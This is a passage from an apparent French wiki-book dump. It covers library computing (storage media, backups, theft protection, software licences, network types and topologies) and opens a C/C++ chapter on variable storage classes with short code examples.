simplement. La mémoire peut ensuite être branchée sur le port USB de n'importe quel autre ordinateur. Aucun pilote de périphérique n'est requis. On trouve maintenant plus rarement des clés USB d'une capacité de 16 ou 32 Mo, plus fréquemment des clés de 64, 128, 256, 512 Mo. On peut aussi en trouver d'une capacité de 1024 Mo (1 Go)ou plus. Le système est simple mais, à l'heure actuelle, le rapport prix-capacité est encore défavorable par rapport aux autres supports. De plus, sa durée de vie (que certains estiment de 2 à 5 ans) est trop limitée pour un stockage durable et donc fiable. ==== Le stockage externalisé ==== Le système le plus simple consiste à mettre en ligne ses données les plus importantes chez un prestataire gratuit (par exemple, les parties "Fichiers" ou "Porte-document" de Yahoo ou chez un prestataire spécialisé (Freedrive ou Xdrive, idrive) . Le système a l'avantage d'être bon marché sinon gratuit mais l'opération peut se révéler fastidieuse. Il existe des systèmes (par exemple Oodrive) permettant une sauvegarde sécurisée, à distance, automatique (à la fréquence et aux heures désirées) des données informatiques. Ces données peuvent être cryptées lors de leur transfert et stockées dans des locaux sécurisés. === La sauvegarde === La perte de données (textes, fichiers de membres, comptabilité) peut être extrêmement dommageable pour une association La sauvegarde (back-up) consiste à copier le contenu d'un support de stockage sur un autre support afin que ce contenu ne soit par perdu en cas d'incident (vol, destruction) sur le premier support. On considère que, pour être efficace, la sauvegarde doit faire l'objet d'une stratégie, tenant compte du risque couru et de la contrainte imposée par l'opération de sauvegarde, du souci de sauvegarder tout ou partie des données, de la volonté de conserver plusieurs sauvegardes successives. Pour envisager une sauvegarde professionnelle, il faut tenir compte d'éléments tels que : la sauvegarde à partir d'un ou plusieurs site, à partir de serveurs ou de postes de travail (fixes ou itinérants), le volume de données à sauvegarder et son évolution potentielle, la plage horaire de sauvegarde, les systèmes d'exploitation des serveurs, les types de fichiers à sauvegarder,... La sauvegarde des données peut dépendre d'un acte volontaire de l'utilisateur qui prend la décision de les enregistrer sur l'un ou l'autre support. Il peut aussi s'agir d'un système de sauvegarde automatique; cette formule est conseillée même si elle n'exclut pas la vérification périodique des sauvegardes automatiques afin de s'assurer qu'elles ne causent pas de problèmes. Il est possible d'effectuer des sauvegardes simultanées de données en ayant recours à des disques durs en miroir localisés sur le même serveur ou sur des serveurs différents. Si l'un des disques est défectueux, on peut récupérer les données sur l'autre (pour autant qu'il ne s'agisse pas du même serveur présentant des problèmes). Il est vivement conseillé de disposer d'une sauvegarde "hors site". La sauvegarde peut être "virtuelle" dans le sens où vous utilisez l'Internet pour sauvegarder vos données (en réalité sur des serveurs distants). == La sécurité en général == La sécurité comprend plusieurs aspects, pour certains (sécurité par rapport aux données) déjà évoqués plus haut. === La protection contre le vol === Les dispositifs de protection que vous mettrez en place pourront être mis en valeur auprès de votre compagnie d'assurance. Le matériel doit se trouver dans des locaux sécurisés contre le vol (portes pouvant fermer à clé, fenêtres protégées) et fermés en l'absence de responsable. Les logiciels et les données sur support doivent être enfermés dans des armoires non fracturables. Divers systèmes permettent de dissuader les voleurs, d'avertir de la tentative de vol, de rendre le matériel invendable ou de le suivre à la trace : * câble antivol * tatouage ou marquage antivol (mécanique, par plaque résistante, par empreinte chimique indélébile, gravure au laser) et enregistrement auprès d'une base de données alarme détectant tout mouvement d'ordinateur * logiciels informatique de prévention. Ce type de logiciel indétectable, résistant au formatage du disque dur, émet vers une centrale de surveillance un signal dès que l'ordinateur volé est branché sur Internet, permettant ainsi la localisation de l'utilisateur. La bibliothèque doit disposer (avec copie hors site) d'un inventaire détaillé du matériel === La protection contre la surcharge électrique === Le courant doit être transmis à l'ordinateur de transfert à travers un dispositif anti-foudre et un filtre antiparasites. L'onduleur se met en service uniquement lorsque le courant électrique disparaît. L'onduleur prend alors la relève. Cet appareil est utile contre les coupures et les micro-coupures, les variations de tension, les parasites, la foudre. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] Les programmes informatiques des bibliothèques 2959 22653 2005-10-07T07:57:10Z 84.98.167.141 /* Les logiciels de création de site web */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- == Les programmes informatiques des bibliothèques == Les logiciels sont des programmes informatiques permettant de travailler avec des ordinateurs et leurs périphériques. Les logiciels sont distribués sur cédéroms ou peuvent être téléchargés, moyennant paiement ou non, sur le web. === Le système d'exploitation === Le système d'exploitation (operating system) dirige tous les autres programmes appelés applications. Parmi les systèmes d'exploitation : * Microsoft Windows (95, 98, 2000, NT, XP) * Macintosh Système OS * GNU/Linux, un système d'exploitation de type Unix Le système d'exploitation est souvent fourni d'office avec l'ordinateur. Il est compris dans le logiciel de base avec les programmes de service. Dans le débat portant sur le choix des systèmes d'exploitation, on fait souvent face à des arguments de popularité (Windows est fort répandu, souvent installé par défaut sur les ordinateurs), éthiques (le logiciel libre préserve l'indépendance de l'utilisateur vis-à-vis de fournisseurs) et financiers (coût des licences des logiciels fonctionnant sur le système d'exploitation, coût d'installation et de maintenance). Aujourd'hui, les systèmes d'exploitation ne se distingueraient plus du point de vue des fonctionnalités et de la facilité d'utilisation : ils seraient aussi simples à utiliser les uns que les autres, et les utilisateurs ne verraient en général pas la différence. Du point de vue des coûts, le débat est animé et tous montrent que leur système est moins cher. Des études neutres montreraient cependant que les systèmes scriptables, basés sur Unix, tels GNU/linux ou MacOSX seraient moins chers à maintenir dans un environnement professionnel que ceux basés sur les multiples versions de Windows. Rappelons que GNU/Linux est un système libre, c'est-à-dire que l'utilisateur est libre d'utiliser et de partager tout le système, et peut disposer du code source. Par code source, on entend un ensemble d'instructions écrites usant des langages de programmation maîtrisés par les informaticiens. GNU/Linux est considéré comme plus fiable dans la mesure où les bogues (erreurs de programmation ou bugs) peuvent être détectés et corrigés par l'ensemble de la communauté informatique qui a accès à ce code source. Le système d'exploitation d'Apple est également considéré comme stable, et il est basé sur un système Unix libre, et les codes ont également été rendus publics. === Les logiciels libres === Un logiciel est dit libre lorsque les utilisateurs, sans discrimination, ont le droit : * de l'exécuter pour tous les usages, dans tous les domaines; * de le copier; * de le distribuer; * d'en étudier le fonctionnement, de le modifier, de l'adapter à leurs besoins; de l'améliorer et de publier ses améliorations pour en faire profiter toute la communauté. Une des conséquence fondamentales de ces libertés, est l'accès libre au code source (voir plus haut), redistribuable. Une autre conséquence, importante pour beaucoup d'utilisateurs qui ne voient qu'elle, est la gratuité possible des logiciels libres. === Les logiciels d'application === On appelle logiciels d'application les programmes dont se sert directement l'utilisateur. Il peut s'agir de logiciels d'application "propriétaires" comme de logiciels "open source". Aujourd'hui, presque toutes les fonctionnalités qu'un utilisateur peut rechercher sont disponibles comme logiciels libres, tournant dans l'environnement GNU/linux que Microsoft Windows. On trouvera par exemple une sélection très importante de logiciels libres et gratuits fonctionnant sur le système d'exploitation Microsoft Windows, ainsi qu'un cédérom téléchargeable et également libre et gratuit sur GnuWin. ==== Les logiciels de bureautique ==== Le traitement de texte : logiciel permettant la création de textes. Les logiciels de traitement de texte permettent de choisir des polices de caractère (taille, couleur, type), d'intégrer des tableaux, des images, des diagrammes, de déplacer ou d'aligner les textes,... MS Word est un traitement de texte. Le tableur : un tableur est un logiciel qui permet de construire et de visualiser des tableaux contenant des données et, également, d'effectuer des calculs. MS Excel est un tableur. La gestion de base de données : un système de gestion de base de données (SGBD) est un logiciel qui permet de décrire, manipuler et interroger les données d'une base de données. MS Acces est un logiciel de gestion de base de données. La présentation assistée par ordinateur (PréAO). MS Powerpoint est un logiciel de PréAO. ==== Les suites bureautiques ==== Une suite bureautique est un ensemble de logiciels tels que traitement de texte, tableur, base de données, outil de dessin et de retouche. La suite bureautique sans doute la plus utilisée est Microsoft Office. Une suite bureautique très complète, libre et gratuite, dont les fichiers sont compatibles avec les suites Microsoft Office, et dont la communauté des utilisateurs est très active est OpenOffice.org (http://fr.openoffice.org). Cette solution libre est dérivée de StarOffice (suite payante - existe en français) de Sun. Un élément essentiel est le format natif dans lequel les fichiers de Open Office.org sont sauvés, qui est complétement ouvert et permet une intégration simple et très évoluée de l'outil avec des solutions web ce que peu d'autres outils offrent aujourd'hui. Cette suite bureautique complète offre aujoud'hui toutes les fonctionnalités nécessaires à une utilisation de bureau standard et elle offre en plus un éditeur d'images et un éditeur d'équations, ainsi que d'autres fonctionnalités telles que par exemple la sauvegarde directe au format pdf utilise pour la transmission de documents qui ne sont pas censés être modifiés, ce que la suite Microsoft Office ne permet pas. La suite Open Office.org remplace aujourd'hui avantageusement la suite propriétaire Microsoft Office et est adoptée par de très nombreuses institutions telles que des administrations, PME et même grandes entreprises, sans compter les écoles et individus. Parmi les autres propositions gratuites (non libres) : * 602 PC SUITE (en anglais uniquement) : traitement de texte, tableur, logiciel d'édition graphique. * Easy Office (en anglais uniquement) : traitement de texte, tableur, application de présentation, gestionnaire d'adresses, éditeur de pages web, module permettant de conversion en PDF. ==== Les logiciels d'édition ==== Ces logiciels permettent de mettre en page des rapports, livres, journaux, revues, dépliants, invitations. Mais aussi des calendriers, cartes de visite, étiquettes de CD, banderoles,… Certains d'entre eux sont réservés aux professionnels en raison de leur coût et des compétences exigées; d'autres ont une vocation plus amateure. Le logiciel d'édition professionnel peut-être le plus connu est Quark Xpress mais son prix et sa complexité le réserve à une activité professionnelle. Un logiciel libre comparable est Scribus mais uniquement pour Linux. En matière de logiciel simple d'édition, on a souvent utilisé Publisher qui est maintenant concurrencé par Ragtime dont il existe une version gratuite. Des travaux d'édition déjà très élaborés peuvent être effectués avec des programmes tels que Open Office.org. ==== Les logiciels de création de site web ==== Pour créer un site web, il faut recourir à un éditeur. Cet éditeur sera souvent wysiwyg ("what you see is what you get") c'est-à-dire que vous visualisez directement votre travail sur la page en construction; il vous est cependant possible de travailler sur le code HTML. Un élément déterminant est la qualité des pages générées et leur conformité aux standards d'internet, tels que définis par le W3C. Seul le respect de cette dernière assure en effet que la page peut être lue par tous, sans limitation liée à l'outil de lecture, le navigateur. Des outils simples et permettant cependant des éditions déjà très évoluées, respectant ces critères, sont la suite Open Office.org ou l'outil Composer intégré au navigateur Mozilla. Des solutions propriétaires courantes sont Macromedia Dreamweaver ou encore Microsoft Frontpage ou Adobe Golive. Webexpert est un autre produit bon marché. Nous pouvons aussi citer NVU (prononcez "N-View"), qui est un logiciel gratuit et Open Source développé par les créateurs de Mozilla. ==== Les logiciels de transfert de fichiers ==== Le logiciel FTP (file transfert protocol) permet l'envoi ou la réception de fichiers. Il est utilisé pour le transfert de pages HTML, d'images, de sons destinés à un site web. Exemple : FTP Expert. ==== Logiciels de création de CD ==== Ces logiciels sont indispensables pour graver un cédérom. ==== Images, musique, vidéo ==== Des logiciels permettent la retouche et le traitement d'images. Pour l'audio et la vidéo, si l'on installe des logiciels de lecture, il faut encore prévoir le branchement de casques ou de haut-parleurs. D'autres logiciels permettent le montage audio et vidéo (vidéo assistée par ordinateur ou VAO) ou la musique assistée par ordinateur (MAO). Le traitement d'images est utile pour l'édition ou pour un site web. La lecture audio et vidéo est consommatrice de bande passante; elle peut cependant avoir toue sa place en bibliothèque ou espace public numérique (EPN) (consultation d'archives ou de journaux audio ou vidéo en ligne). Tant dans le domaine du traitement d'image que de la lecture audio et vidéo, des logiciels libres et gratuits sont à disposition. ==== La gestion du réseau et des postes ==== Des logiciels (utilisés en EPN) permettent le 'contrôle parental' et donc interdisent la fréquentation de certains sites. D'autres permettent de définir des zones (espace sur le disque dur, logiciels) auxquelles l'utilisateur pourra accéder ou non. ==== La sécurité informatique ==== La sécurité sera assurée par des antivirus (avec mises à jour), nécessaires actuellement uniquement avec des systèmes basés sur Microsoft Windows, et par des pare-feux (firewalls). Ceux-ci visent à améliorer la protection du réseau et à défendre le réseau local connecté à l'Internet des attaques et tentatives d'intrusion qui peuvent provenir de l'extérieur ainsi que de contrôler et de réguler les connexions du réseau interne vers l'extérieur. Les systèmes Mac et GNU/Linux sont réputés être moins sensibles aux attaques de virus car les aspects essentiels de sécurité ont été intégrés à la base de la création de ces systèmes. Il faut également s'équiper d'anti-spyware c'est-à-dire d'un logiciel qui déloge les espiogiciels (qui peuvent par exemple observer vos comportements sur le web). La sécurité des données sera assurée par des logiciels de sauvegarde et de restauration. === Licence d'utilisation et coût des logiciels === Un aspect essentiel qui distingue les logiciels est la question des licences selon lesquelles ils sont distribués. Celles-ci précisent les droits et devoirs des utilisateurs à l'occasion de l'utilisation des logiciels. Elles ont comme conséquences et effets les prix et coûts relatifs à ces logiciels. Dans presque tous les cas, la propriété intellectuelle et les droits d'auteur restent ceux de l'éditeur du logiciel. les logiciels libres, dont les licences précisent les libertés qui ont été définies ci-dessus, et qui garantissent la liberté des utilisateurs, et l'indépendance de ceux-ci par rapport à des vendeurs et donnent à l'utilisateur un maximum de droit et peut de devoir. Ceci encourage aussi le partage et la mutualisation, tant des outils que des documentations associées. Ces licences ont aussi comme conséquence que les logiciels libres sont librement distribuables, et par conséquent souvent gratuits en tant que tels, bien que des services associés soient le plus souvent payants. les logiciels propriétaires pour lesquels l'utilisateur a des droits en général très limités d'utilisation exclusive et à titre individuel, et beaucoup de devoirs. L'utilisateur est souvent tenu d'acquérir une licence d'utilisation, éventuellement pour une durée limitée. Dans chacune de ces catégories, on distingue encore les logiciels gratuits et les logiciels payants. Parmi les logiciels propriétaires, on peut donc rencontrer : * les logiciels en version d'essai soit pour une durée limitée (généralement 30 jours), soit pour un certain nombre d'utilisations, soit avec des fonctionnalités bridées (avec, par exemple, une impossibilité de sauvegarder son travail); * les partagiciels (sharewares) c'est-à-dire les logiciels distribués librement mais dont l'utilisation requiert toutefois une rétribution payable à l'auteur. === Les sites de téléchargement de logiciels === Parmi les nombreux sites de téléchargement, citons : * Clubic : http://www.clubic.com * Telecharger : http://www.telecharger.com * Logithèque de ZDNet.fr : http://logitheque.zdnet.fr/logi/ * Gratuiciel.com : http://www.gratuiciel.com * Gnuwin : http://gnuwin.epfl.ch/fr/index.html (logiciels libres) * Framasoft : http://www.framasoft.net/ (logiciels libres) === Les références pour bibliothécaires === * FreeBiblio.Info (http://freebiblio.info/), l'actualité du logiciel libre et gratuit pour bibliothèques ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] Les réseaux informatiques en bibliothèque 2960 14505 2005-03-23T10:17:24Z Philippe Allard 245 Lien vers la page d'accueil * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- == Les réseaux informatiques en bibliothèque == Un réseau (network) est un ensemble d'équipements électroniques (ordinateurs, imprimantes, scanners, modems, routeurs, de commutateurs,...) interconnectés et capables de communiquer (émettre et recevoir des messages) par l'intermédiaire d'un média de transmission (voir plus loin). Un réseau informatique permet donc l'échange d'informations (messageries, transfert de fichiers, interrogation de bases de données,...) et l'accès aux ressources (ou mise en commun, partage) de certains ordinateurs du réseau (matériel tel qu'imprimante ou modem, puissance de calcul, logiciels). Un réseau permet donc une économie de coût, un gain de productivité, une utilisation rationnelle des bases de données (consultations, modifications de chaque utilisateur autorisé sur la même base) et une meilleure stratégie dans le domaine de la sécurité (centralisation et sauvegarde éventuellement automatisée des données). Par contre, un réseau a pour inconvénient sa complexité (d'où le recours à un personnel spécialisé en cas de problème) et les conséquences d'une panne sur l'ensemble du réseau. Un média (dit parfois "physique") est un support physique par l'intermédiaire duquel des signaux de transmission circulent. Parmi les médias de réseau courants, on trouve : * le câble à paire torsadée : le câble à paire torsadée (twisted-pair cable) est constitué de 2 brins de cuivre entrelacés en torsade et recouverts d’isolants. Un câble est souvent fabriqué à partir de plusieurs paires torsadées regroupées et placées à l’intérieur d'une gaine protectrice. L’entrelacement permet de supprimer les bruits (interférences électriques) dus aux paires adjacentes ou autres sources (moteurs, relais, transformateur). La paire torsadée est donc adaptée à la mise en réseau local d'un faible parc avec un budget limité et une connectique simple. La longueur est limitée à 100 mètres. * le câble coaxial : un câble coaxial (coaxial cable) est constitué d’une partie centrale (appelée âme), c'est-à-dire un fil de cuivre, enveloppé dans un isolant, puis d’un blindage métallique tressé et enfin d'une gaine extérieure. Grâce à son blindage, le câble coaxial peut être utilisé sur des distances plus importantes (185m pour le coaxial fin et 500 m pour le coaxial épais) que le câble à paires torsadées mais à moindre débit (10 Mbits/s) qu'un câble de type paire torsadée). Il a le désavantage de vieillir mal et une coupure bloque tout le réseau. On réserve le câble coaxial à des installations de base (notamment en raison de son faible coût). * le câble à fibre optique : le câblage optique est particulièrement adapté à la liaison entre répartiteurs (liaison centrale entre plusieurs bâtiments, appelé backbone) car elle permet des connexions sur des longues distances (de quelques kilomètres à quelques dizaines de kilomètres). Son débit est rapide (1000 Mbits/sec et +). Cependant, malgré sa flexibilité mécanique, ce type de câble ne convient pas pour des connexions dans un réseau local car son installation est problématique, requiert un personnel spécialisé et son coût est très élevé. On lui préférera la paire torsadée ou le câble coaxial pour de petites liaisons. * l'air (par l'intermédiaire duquel les micro-ondes, les rayons laser et infrarouges peuvent être transmis). Cette solution est pratique en cas d'utilisation d'ordinateurs portables, de bâtiments difficiles à câbler, de configurations mobiles ou d'éloignement de bâtiments. Le débit se mesure en bits par seconde (bit : unité informatique élémentaire qui vaut 1 ou 0). Pour connecter des appareils entre eux, on utilise également des équipements spécialisés tels que des hubs (concentrateurs3), des switches (commutateurs), des bridges (ponts) ou des routers (routeurs). Chaque appareil à connecter au réseau doit comporter une ou plusieurs cartes électroniques munies de prises (connecteurs) correspondant au type de câble envisagé. === La typologie des réseaux === ==== Réseau local ===== '''Local Area Network (LAN).''' Réseau de données à haute vitesse et à faible taux d'erreurs couvrant une zone géographique relativement petite. Les réseaux locaux interconnectent des stations de travail (mais le nombre d'ordinateurs est limité), des périphériques, des terminaux et d'autres équipements dans un seul immeuble ou autre zone géographique limitée. Plusieurs réseaux locaux d'un même site peuvent être connectés entre eux. Les standards de réseaux locaux spécifient le câblage et la signalisation au niveau des couches physiques et liaison de données du modèle OSI7. Ethernet, FDDI et Token Ring sont des technologies de réseau local largement utilisées. '''Réseau métropolitain''' ou Metropolitan Area Network (MAN). Réseau qui peut couvrir une ville. Il s'étend généralement sur une zone géographique supérieure à celle d'un réseau local (LAN), mais inférieure à celle d'un réseau étendu (WAN). '''Réseau étendu''' ou Wide Area Network (WAN). Réseau de communication de données qui dessert des utilisateurs séparés par une grande zone géographique (une ville, par exemple) et qui utilise souvent des équipements de transmission fournis par un opérateur. === L'architecture des réseaux === Un réseau peut comprendre différents types de machines : * ordinateur central : ordinateur (type mini-ordinateur) performant (multiprocesseurs, ressources mémoires) avec système d'exploitation multitâches mettant à la disposition du réseau sa puissance de calcul. * serveur : ordinateur spécialisé chargé de stocker et délivrer des informations aux ordinateurs personnels client (stations de travail). Dans un réseau de type entreprise, sa fonction est d'assurer l'accès partagé aux fichiers, aux applications, aux bases de données, aux périphériques, aux cédéroms et le support des services d'impression. Il permet l'administration des utilisateurs du réseau. * terminal : poste constitué d'un clavier, d'un écran et d'une liaison physique avec l'ordinateur central et qui en utilise toutes les ressources. Il permet de l'interroger et d'en recevoir des informations. Un micro-ordinateur peut faire office de terminal. station de travail : il peut s'agir d'un terminal ou d'un ordinateur. === L'organisation du réseau === Dans un réseau égalitaire (poste à poste – égal à égal – peer to peer), un élément du réseau peut être serveur et/ou station (par exemple dans un réseau de poste à poste). Dans un réseau hiérarchisé, on distingue sur le réseau les serveurs et les stations de travail. Les stations sont les clients des services offerts par les serveurs (structure client-serveur). L'ordinateur est donc dit client lorsqu'il est connecté à un ordinateur central appelé serveur dont il utilise les ressources partagées par le serveur, ses fichiers, ses imprimantes. Dans un environnement purement client/serveur, les ordinateurs du réseau (les clients) ne peuvent voir que le serveur, c'est un des principaux atouts de ce modèle. Le modèle client/serveur est particulièrement recommandé pour des réseaux nécessitant un grand niveau de fiabilité, ses principaux atouts sont : * des ressources centralisées : étant donné que le serveur est au centre du réseau, il peut gérer des ressources communes à tous les utilisateurs, comme par exemple une base de données centralisée, afin d'éviter les problèmes de redondance et de contradiction une meilleure sécurité : car le nombre de points d'entrée permettant l'accès aux données est moins important; * une administration au niveau serveur : les clients ayant peu d'importance dans ce modèle, ils ont moins besoin d'être administrés; * un réseau évolutif : grâce à cette architecture, on peut supprimer ou rajouter des clients sans perturber le fonctionnement du réseau et sans modifications majeures. L'architecture client/serveur présente quand même des inconvénients parmi lesquels : * un coût élevé dû à la technicité du serveur * le serveur est le seul maillon faible du réseau client/serveur dans la mesure où tout le réseau est architecturé autour de ce serveur. === Les méthodes d'accès === Un réseau local comprend en général un canal unique de transmission d'où la nécessité d'une discipline pour accéder au support à un moment donnée. * Méthode maître-esclave (polling ou tour de table ou appel sélectif) : les stations sont interrogées successivement par le site maître. Si une station désire émettre, la station répond positivement à l'interrogation du site maître, le site central donne l'autorisation, la station émet puis la station rend la ligne au site maître. Ce système est considéré comme lourd et manquant de souplesse. Il n'est plus utilisé que dans de gros systèmes à base de terminaux. * Méthode du jeton : un jeton (token) ou permis à émettre circule sur la ligne. Si une station désire émettre, elle capte le jeton, elle est alors la seule à émettre et, en fin d'émission, la station libère le jeton ou attend un accusé de réception avant de libérer le jeton. Cette méthode convient particulièrement bien aux réseaux en anneaux. * Accès aléatoire avec écoute de porteuse – Ethernet (Carrier Sense Multiple Access/Collision Detection) : si une station désire émettre, elle écoute la ligne tant que la porteuse indique une occupation et émet dès que le canal est libre. Il existe cependant un risque de "collision" si plusieurs stations déclenchent en même temps une émission. === La topologie physique des réseaux === La topologie est la configuration physique de noeuds de réseau et de média au sein d'une structure de réseau c'est-à-dire la mise en pratique du réseau logique. Plusieurs types de réseau peuvent cohabiter au sein d'un même grand réseau (d'entreprise, de commune). Un noeud est un point terminal d'une connexion de réseau ou point de jonction de 2 ou plusieurs lignes d'un réseau. Les nœuds peuvent être des processeurs, des contrôleurs ou des stations de travail. Les nœuds, qui varient en termes de fonctionnalités de routage ou autres, peuvent être interconnectés par des liens et servir de points de contrôle sur le réseau. Ce terme est parfois utilisé de façon générique pour désigner n'importe quelle entité pouvant accéder à un réseau et est fréquemment utilisé de façon interchangeable avec équipement. * Topologie en bus. Architecture LAN linéaire dans laquelle les transmissions des stations du réseau se propagent sur la longueur du média et sont reçues par toutes les stations. Les composants du réseau sont donc reliés par le même câble (souvent coaxial); en cas de coupure de câble, plus aucun poste ne peut dialoguer avec le reste du réseau. * Topologie en arbre. Topologie de réseau local similaire à une topologie en bus, excepté que les réseaux en arbre peuvent contenir des branches avec plusieurs nœuds. Les émissions d'une station se propagent sur toute la longueur du média et sont reçues par toutes les autres stations. * Topologie en anneau. Topologie de réseau qui se compose d'une série de répéteurs connectés les uns aux autres par des liaisons unidirectionnelles (l'information ne circule que dans un sens) pour former une seule boucle fermée. Chaque noeud est relié au noeud suivant et au noeud précédent et forme une boucle. Les composants sont donc reliés par un même câble mais sans extrémité. Chaque station sur le réseau est raccordée au niveau d'un répéteur. Une topologie en anneau est souvent organisée en étoile physique. * Topologie en étoile. Topologie LAN dans laquelle les points d'extrémité de connexion (noeuds périphériques) sur un réseau sont reliés à un commutateur (switch) central. Tous les composants sont donc reliés à un même point central et l'information ne va que de l'émetteur vers le récepteur en transitant par ce point central. En cas de panne, une seule branche est touchée (sauf si le point central lui-même était atteint). * Topologie point à point. Dans un réseau point à point, chaque composant possède une liaison spécifique avec chacun des autres composants. Cette structure n'est utilisée que pour de petits réseaux ou pour diminuer la sensibilité aux pannes (redondance). === Réseau et Réseau === '''Intranet''' : réseau informatique permettant à des ordinateurs de communiquer entre eux. Ce type de réseau utilise toutes les solutions techniques utilisées dans le réseau Internet (protocole TCP/IP). Son accès est limité aux seuls utilisateurs autorisés. Un intranet permet de mettre des documents à la disposition des travailleurs d'une entreprise ou, plus largement, de mener un travail coopératif (moteur de recherche interne, échange de données entre collaborateurs, annuaire du personnel, agenda partagé, gestion de projets, aide à la décision, messagerie, forum de discussion, visioconférence). '''Extranet''' : on parlera d'extranet pour une extension du système d'information d'une entreprise à des partenaires (clients, fournisseurs) au-delà du réseau. '''Internet''' (contraction de INTERnational NETwork pour réseau international ou INTERconnected NETworks pour réseaux interconnectés) : Internet c'est le réseau des réseaux né au départ dArpanet, réseau où les militaires étaient présents. C'est un ensemble de milliers de serveurs et de micro-ordinateurs interconnectés. Ce réseau mondial utilise le même protocole de communication (TCP/IP pour Transmission Control Protcol/Internet Protocol) et fonctionne comme un réseau virtuel unique et coopératif. Tout ordinateur supportant un logiciel conforme saura communiquer, sur divers types de liaison, avec un autre. Internet utilise un système international d'adresses qui permet d'envoyer un message ou un fichier à un correspondant connecté sur le réseau mondial. Les services de l'Internet sont le web (world wide web), le courrier électronique (e-mail, les forums de discussion (newsgroups) et le transfert de fichiers (FTP). ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] Programmation C C plus plus Classes de stockage 2961 14506 2005-03-23T08:33:44Z Kiouk 197 Import {{Programmation C C plus plus Types avancés}} == Les classes de stockage == Les variables C/C++ peuvent être créées de différentes manières. Il est courant, selon la manière dont elles sont créées et la manière dont elles pourront être utilisées, de les classer en différentes catégories de variables. Les différents aspects que peuvent prendre les variables constituent ce que l'on appelle leur ''classe de stockage''. La classification la plus simple que l'on puisse faire des variables est la classification locale - globale. Les variables ''globales'' sont déclarées en dehors de tout bloc d'instructions, dans la zone de déclaration globale du programme. Les variables ''locales'' en revanche sont créées à l'intérieur d'un bloc d'instructions. Les variables locales et globales ont des durées de vie, des portées et des emplacements en mémoire différents. La ''portée'' d'une variable est la zone du programme dans laquelle elle est accessible. La portée des variables globales est tout le programme, alors que la portée des variables locales est le bloc d'instructions dans lequel elles ont été créées. La ''durée de vie'' d'une variable est le temps pendant lequel elle existe. Les variables globales sont créées au début du programme et détruites à la fin, leur durée de vie est donc celle du programme. En général, les variables locales ont une durée de vie qui va du moment où elles sont déclarées jusqu'à la sortie du bloc d'instructions dans lequel elles ont été déclarées. Cependant, il est possible de faire en sorte que les variables locales survivent à la sortie de ce bloc d'instructions. D'autre part, la portée d'une variable peut commencer avant sa durée de vie si cette variable est déclarée après le début du bloc d'instructions dans lequel elle est déclarée. La durée de vie n'est donc pas égale à la portée d'une variable. La ''classe de stockage'' d'une variable permet de spécifier sa ''durée de vie'' et sa ''place en mémoire'' (sa portée est toujours le bloc dans lequel la variable est déclarée). Le C/C++ dispose d'un éventail de classes de stockage assez large et permet de spécifier le type de variable que l'on désire utiliser : ; auto : la classe de stockage par défaut. Les variables ont pour portée le bloc d'instructions dans lequel elles ont été crées. Elles ne sont accessibles que dans ce bloc. Leur durée de vie est restreinte à ce bloc. Ce mot clé est facultatif, la classe de stockage auto étant la classe par défaut ; ; static : cette classe de stockage permet de créer des variables dont la portée est le bloc d'instructions en cours, mais qui, contrairement aux variables auto, ne sont pas détruites lors de la sortie de ce bloc. À chaque fois que l'on rentre dans ce bloc d'instructions, les variables statiques existeront et auront pour valeurs celles qu'elles avaient avant que l'on quitte ce bloc. Leur durée de vie est donc celle du programme, et elles conservent leurs valeurs. Un fichier peut être considéré comme un bloc. Ainsi, une variable statique d'un fichier ne peut pas être accédée à partir d'un autre fichier. Cela est utile en compilation séparée (voir plus loin) ; ; register : cette classe de stockage permet de créer une variable dont l'emplacement se trouve dans un registre du microprocesseur. Il faut bien connaître le langage machine pour correctement utiliser cette classe de variable. En pratique, cette classe est très peu utilisée ; ; volatile : cette classe de variable sert lors de la programmation système. Elle indique qu'une variable peut être modifiée en arrière-plan par un autre programme (par exemple par une interruption, par un thread, par un autre processus, par le système d'exploitation ou par un autre processeur dans une machine parallèle). Cela nécessite donc de recharger cette variable à chaque fois qu'on y fait référence dans un registre du processeur, et ce même si elle se trouve déjà dans un de ces registres (ce qui peut arriver si on a demandé au compilateur d'optimiser le programme) ; ; extern : cette classe est utilisée pour signaler que la variable peut être définie dans un autre fichier. Elle est utilisée dans le cadre de la compilation séparée (voir le Chapitre 6 pour plus de détails). Il existe également des modificateurs pouvant s'appliquer à une variable pour préciser sa constance : ; const : ce mot clé est utilisé pour rendre le contenu d'une variable non modifiable. En quelque sorte, la variable devient ainsi une variable en lecture seule. Attention, une telle variable n'est pas forcément une constante : elle peut être modifiée soit par l'intermédiaire d'un autre identificateur, soit par une entité extérieure au programme (comme pour les variables volatile). Quand ce mot clé est appliqué à une structure, aucun des champs de la structure n'est accessible en écriture. Bien qu'il puisse paraître étrange de vouloir rendre « constante » une « variable », ce mot clé a une utilité. En particulier, il permet de faire du code plus sûr ; ; mutable : disponible uniquement en C++, ce mot clé ne sert que pour les membres des structures. Il permet de passer outre la constance éventuelle d'une structure pour ce membre. Ainsi, un champ de structure déclaré mutable peut être modifié même si la structure est déclarée const. Pour déclarer une classe de stockage particulière, il suffit de faire précéder ou suivre le type de la variable par l'un des mots clés ''auto'', ''static'', ''register'', etc. On n'a le droit de n'utiliser que les classes de stockage non contradictoires. Par exemple, ''register'' et ''extern'' sont incompatibles, de même que ''register'' et ''volatile'', et ''const'' et ''mutable''. Par contre, ''static'' et ''const'', de même que ''const'' et ''volatile'', peuvent être utilisées simultanément. === Exemple - Déclaration d'une variable locale statique === <pre> <nowiki> int appels(void) { static int n = 0; return n = n+1; } </nowiki> </pre> Cette fonction mémorise le nombre d'appels qui lui ont été faits dans la variable ''n'' et renvoie ce nombre. En revanche, la fonction suivante : <pre> <nowiki> int appels(void) { int n = 0; return n =n + 1; } </nowiki> </pre> renverra toujours 1. En effet, la variable ''n'' est créée, initialisée, incrémentée et détruite à chaque appel. Elle ne survit pas à la fin de l'instruction ''return''. === Exemple - Déclaration d'une variable constante === const int i=3; ''i'' prend la valeur 3 et ne peut plus être modifiée. Les variables globales qui sont définies sans le mot clé ''const'' sont traitées par le compilateur comme des variables de classe de stockage ''extern'' par défaut. Ces variables sont donc accessibles à partir de tous les fichiers du programme. En revanche, cette règle n'est 